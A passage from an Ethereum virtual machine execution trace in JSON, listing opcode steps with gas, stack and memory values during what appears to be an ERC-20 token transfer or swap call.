00000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a43905000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12372,"op":"SHL","gas":78619,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a43905000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12373,"op":"SUB","gas":78616,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a43905000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12374,"op":"DUP10","gas":78613,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a43905000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12375,"op":"DUP2","gas":78610,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a43905000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12376,"op":"AND","gas":78607,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a43905000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12377,"op":"PUSH1","gas":78604,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a43905000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12379,"op":"DUP4","gas":78601,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a43905000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12380,"op":"ADD","gas":78598,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4","0x384"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a43905000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12381,"op":"MSTORE","gas":78595,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166","0x388"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a43905000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12382,"op":"DUP9","gas":78592,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a439050000000000000000000000004c711efa05b78582f07d9d96","0b1dadde95688166000000000000000000000000000000000000000000000000"]},{"pc":12383,"op":"DUP2","gas":78589,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a439050000000000000000000000004c711efa05b78582f07d9d96","0b1dadde95688166000000000000000000000000000000000000000000000000"]},{"pc":12384,"op":"AND","gas":78586,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x384","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000